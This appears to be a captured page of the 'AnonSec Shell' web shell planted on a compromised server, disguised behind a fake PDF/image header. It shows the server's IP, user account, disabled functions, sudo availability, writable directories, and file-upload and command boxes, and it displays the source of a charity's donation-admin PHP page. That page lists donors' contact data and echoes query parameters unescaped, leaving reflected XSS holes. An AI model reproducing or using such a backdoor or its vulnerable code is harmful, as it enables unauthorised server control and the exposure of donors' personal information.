%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/admin_dons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/admin_dons/index.php
<?php
session_start();
header('Content-Type: text/html; charset=utf-8');
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');
//echo $_SERVER["DOCUMENT_ROOT"];

function convertToUtf8()
{
	$args=func_get_args();
	return $args[0];
	if(is_array($args[0]) || is_object($args[0]))
	{
		$array = $args[0];
		$convertedArray = array();
		foreach($array as $key => $value) {
			$key = convertToUtf8($key);
			$value = convertToUtf8($value);
			$convertedArray[$key] = $value;
		}
		if((is_object($args[0]))) return (object) $convertedArray; 
		else return $convertedArray;
	}
	else
	{
		if(!mb_check_encoding($args[0], 'UTF-8')) return utf8_encode($args[0]);
		return $args[0];
	}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://code.jquery.com/ui/1.13.2/jquery-ui.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/i18n/jquery-ui-i18n.min.js"></script>

<link rel="stylesheet" href="style.css?<?php echo rand(); ?>">

<head>
<body>
<header align="center"> 
	<a href="<?= strtok($_SERVER["REQUEST_URI"], '?') ?>"><img src="/wp-content/uploads/2018/05/logomp-png.png" id="logo"></a>
	<h1>Gestion des Dons</h3>
</header>
<main>
<div class="search-bar-wrapper">
	<div class="left-link">
		<a href="export.php" target="_blank" class="btn-left">Export</a>
	</div>
	<form method="get" class="search-form">

		<div class="date-range">
		  <label for="date_from">Du :</label>
		  <div class="date-input">
			<input type="text" id="date_from" name="date_from" class="datepicker" autocomplete="off" value="<?php if(!empty($_GET['date_from'])) echo $_GET['date_from']; ?>">
			<span class="calendar-icon" aria-hidden="true">
				<svg viewBox="0 0 24 24" width="18" height="18" fill="#999">
					<path d="M7 10h2v2H7v-2zm4 0h2v2h-2v-2zm4 0h2v2h-2v-2zM5 20q-.825 0-1.413-.588T3 18V6q0-.825.588-1.413T5 4h1V2h2v2h8V2h2v2h1q.825 0 1.413.588T21 6v12q0 .825-.588 1.413T19 20H5zM5 8h14V6H5v2z"/>
				</svg>
			</span>
		  </div>

		  <label for="date_to">Au :</label>
		  <div class="date-input">
			<input type="text" id="date_to" name="date_to" class="datepicker" autocomplete="off" value="<?php if(!empty($_GET['date_to'])) echo $_GET['date_to']; ?>">
			<span class="calendar-icon" aria-hidden="true">
				<svg viewBox="0 0 24 24" width="18" height="18" fill="#999">
					<path d="M7 10h2v2H7v-2zm4 0h2v2h-2v-2zm4 0h2v2h-2v-2zM5 20q-.825 0-1.413-.588T3 18V6q0-.825.588-1.413T5 4h1V2h2v2h8V2h2v2h1q.825 0 1.413.588T21 6v12q0 .825-.588 1.413T19 20H5zM5 8h14V6H5v2z"/>
				</svg>
			</span>
		  </div>
		</div>


	  <select name="paiement" class="select-paiement">
		<option value="">Tous les dons</option>
		<option value="1" <?= ($_GET['paiement'] ?? '') === '1' ? 'selected' : '' ?>>Réglés</option>
		<option value="2" <?= ($_GET['paiement'] ?? '') === '2' ? 'selected' : '' ?>>Non réglés</option>
	  </select>
	  


	  <input type="text" name="motcle" placeholder="Recherche..." value="<?= htmlspecialchars($_GET['motcle'] ?? '') ?>">
	  <button type="submit">Rechercher</button>
	  
	 <!-- <a href="<?= strtok($_SERVER["REQUEST_URI"], '?') ?>" class="btn-reset" title="Réinitialiser">&#x21bb;</a>-->
	</form>
</div>
<div class="admin-table-container">
  <table class="admin-table">
    <thead>
      <tr>
        <th>ID</th>
        <th>Nom</th>
        <th>Téléphone</th>
        <th>Email</th>
        <th>Date</th>
        <th>Montant</th>
        <th>Cerfa</th>
        <th>Details</th>
      </tr>
    </thead>
    <tbody>
	<?php
	if(empty($_GET['limit'])) $_GET['limit']=0;
	if(empty($_GET['page'])) $_GET['page']=1;
	$lim = 3;
	$num_affiche=20;
	
	$lesDons = new dons;
	if(!empty($_GET['motcle'])) $lesDons->search['motcle'] = $_GET['motcle'];
	if(!empty($_GET['paiement'])) $lesDons->search['paiement'] = $_GET['paiement'];
	if(!empty($_GET['date_from'])) $lesDons->search['date_from'] = $_GET['date_from'];
	if(!empty($_GET['date_to'])) $lesDons->search['date_to'] = $_GET['date_to'];
	
	$_SESSION["lesDonsSearch"] = $lesDons->search;
	
	//paginataion
	$nb_dons=$lesDons->get_nb_dons();
	$nbPageTotal = ceil($nb_dons/$num_affiche);
	
	 $goToFirstPage = $previousPage = $goToLastPage = $nextPage = 0;
		if($_GET['page']-$lim>1) $goToFirstPage=1;
		if($_GET['page']-1>0) $previousPage=1;
		if($_GET['page']+$lim<=$nbPageTotal) $goToLastPage=1;
		if($_GET['page']+1<$nbPageTotal) $nextPage=1;
		
		$paginationPages = array();
		for($i=($_GET['page']-$lim);$i<($_GET['page']+$lim);$i++)
		{
			if($i<1) continue;
			if($i>$nbPageTotal) continue;
			$paginationPages[]=$i;
		}
	//fin - paginataion
	
	$dons=$lesDons->get_all(($num_affiche+$_GET['limit'])*($_GET['page']-1),$num_affiche);
	foreach($dons as $don){ 
		list($date,$heure) = explode(' ',$don->date_creation);
		list($a,$m,$j) = explode('-',$date);
		if($don->valide==1) $cssValidation='ligne-paye'; 
		else $cssValidation='ligne-non-paye';
		
		$currency='&euro;';
		if($don->currency == 'ils') $currency='&#8362;';
		
		$cerfa = '';
		if($don->cerfaUrl) $cerfa =  '<a class="btn-icon" href="'.$don->cerfaUrl.'" target="_blank" rel="noopener noreferrer" title="Voir le Cerfa"><img src="feuille.svg" alt="Voir le Cerfa" class="icon-sm"></a>';//&#128196;
		elseif($don->valide) $cerfa = '<a class="btn-icon" role="link" target="_blank" rel="noopener noreferrer" title="Ajouter un Cerfa" onclick="genereCerfa(\''.$don->id_dons.'\'); return false;"><img src="feuille_plus.svg" alt="Ajouter un cerfa" class="icon-sm"></a>';//&#x1F6AB;
	
		echo '<tr class="'.$cssValidation.'">
				<td data-label="ID">'.convertToUtf8($don->id_dons).'</td>
				<td data-label="Nom">'.convertToUtf8($don->titre).' '.convertToUtf8($don->nom).' '.convertToUtf8($don->prenom).'</td>
				<td data-label="téléphone">'.convertToUtf8($don->tel).'<br>'.convertToUtf8($don->portable).'</td>
				<td data-label="Email">'.convertToUtf8($don->email).'</td>
				<td data-label="Date">'.$j.'/'.$m.'/'.$a.'<br>'.$heure.'</td>
				<td data-label="Montant">'.convertToUtf8($don->montant).' '.$currency.'</td>
				<td data-label="Cerfa">
				  '.$cerfa.'
				</td>
				<td data-label="Détails">
					<button class="btn btn-detail" onclick="openModal('.$don->id_dons.')">
						<svg xmlns="http://www.w3.org/2000/svg" class="icon-eye" viewBox="0 0 24 24">
							<path fill="currentColor" d="M12 4.5C7 4.5 2.73 8.11 1 12c1.73 3.89 6 7.5 11 7.5s9.27-3.61 11-7.5c-1.73-3.89-6-7.5-11-7.5zm0 13c-3.04 0-5.5-2.46-5.5-5.5S8.96 6.5 12 6.5s5.5 2.46 5.5 5.5S15.04 17.5 12 17.5zm0-9A3.5 3.5 0 1 0 12 15a3.5 3.5 0 0 0 0-7z"/>
						</svg>
					</button>
					<div id="details'.$don->id_dons.'" style="display:none;">
						  <h3>Détails du don '.$don->id_dons.' ('.(($don->type_don)?convertToUtf8($don->type_don).' - ':' ').convertToUtf8($don->montant).' '.$currency.')</h3>
						  <p><b>'.convertToUtf8($don->titre).' '.convertToUtf8($don->nom).' '.convertToUtf8($don->prenom).'</b><br>
							'.convertToUtf8($don->adresse).' '.convertToUtf8($don->cp).' '.convertToUtf8($don->ville).' '.convertToUtf8($don->pays).'</p>
						  <p><b>Téléphone :</b> '.convertToUtf8($don->tel).' - <b>Portable:</b> '.convertToUtf8($don->portable).'<br>
							<b>E-mail :</b> '.convertToUtf8($don->email).'</p>';
					
					if(!empty($don->commentaire)) echo  '<p><b>Commentaire :</b> '.convertToUtf8(nl2br($don->commentaire)).'</p>';
					echo '<p>';
					if(!empty($don->occasion)) {echo '<b>'.convertToUtf8($don->occasion).'</b><br>';}
								if ($don->type_don=='gala'){
								echo '<b><u>Type de billets</u></b>: '.convertToUtf8($don->periodicite);
								}
								elseif(!empty($don->duree) || !empty($don->date) || empty($don->periodicite) || !empty($don->du_mois)) {
								echo 'Date: '.convertToUtf8($don->date).' - Periodicite: '.convertToUtf8($don->periodicite).'<br>';
								echo 'Duree: '.convertToUtf8($don->duree).' Du mois de '.convertToUtf8($don->du_mois).', le '.convertToUtf8($don->du_jour);
								}
						echo '</p>';
						if(!empty($don->nom_autre) || !empty($don->prenom_autre) || !empty($don->adresse_autre) || !empty($don->cp_autre) || !empty($don->ville_autre))
						{
							echo '<hr>';
							echo '<h3>Autre adresse d\'expédition</h3>';
							echo '<p><b>'.convertToUtf8($don->nom_autre).' '.convertToUtf8($don->prenom_autre).'</b><br>';
							echo convertToUtf8($don->adresse_autre).' '.convertToUtf8($don->cp_autre).' '.convertToUtf8($don->ville_autre).'</p>';
						}
					echo '</div>
				</td>
		  </tr>';
	}
	?>
      
    </tbody>
  </table>
</div>
  
 <div>
		<ul class="pagination">
		<?php
			$completeUrl='';
			if(!empty($_GET['date_from'])) $completeUrl.='&date_from='.$_GET['date_from'];
			if(!empty($_GET['date_to'])) $completeUrl.='&date_to='.$_GET['date_to'];
			if(!empty($_GET['motcle'])) $completeUrl.='&motcle='.$_GET['motcle'];
			if(!empty($_GET['paiement'])) $completeUrl.='&paiement='.$_GET['paiement'];
			if($goToFirstPage)
			{ 
				echo '<li class="pager-first first">
						<a title="Aller à la première page" href="?page=1'.$completeUrl.'">«</a>
					</li>';
			} 
			if($previousPage)
			{
				echo '<li class="pager-previous">
						<a title="Aller à la page précédente"  href="?page='.($_GET['page']-1).$completeUrl.'"><</a>
					</li>';
			} 
			if($goToFirstPage) echo '<li class="pager-ellipsis">…</li>';
			 
			foreach($paginationPages as $forNumPage) 
			{
				if($forNumPage == $_GET['page'])
					echo '<li class="pager-current">'.$forNumPage.'</li>';
				else
				{
					echo '	<li class="pager-item">
								<a title="Aller à la page '.$forNumPage.'" href="?page='.$forNumPage.$completeUrl.'">'.$forNumPage.'</a>
							</li>';
				}
			}
			if($goToLastPage) echo '<li class="pager-ellipsis">…</li>';
			
			if($nextPage)
			{
				echo '<li class="pager-next">
						<a title="Aller à la page suivante" href="?page='.($_GET['page']+1).$completeUrl.'">></a>
					</li>';
			}
			if($goToLastPage)
			{
				echo '<li class="pager-last last">
						<a title="Aller à la dernière page" href="?page='.$nbPageTotal.$completeUrl.'">»</a>
				</li>';
			}
			?>
		</ul>
</div>



<div id="modal" class="modal-overlay" onclick="closeModal(event)">
  <div class="modal-content" onclick="event.stopPropagation()">
    <span class="modal-close" onclick="closeModal()">&times;</span>
    <div id="modal-body">
      <!-- Contenu rempli dynamiquement -->
    </div>
  </div>
</div>
</main>

 <footer>
	<div class="footer">
		&copy; <?= date('Y') ?> Meir Panim. Développement et Hébergement par <a href="http://www.tobeweb.eu" target="_blank" >Tobeweb</a>
	</div>
  </footer>

<script src="script.js?<?php echo rand(); ?>"></script>

</body>
</html>

Anon7 - 2022
AnonSec Team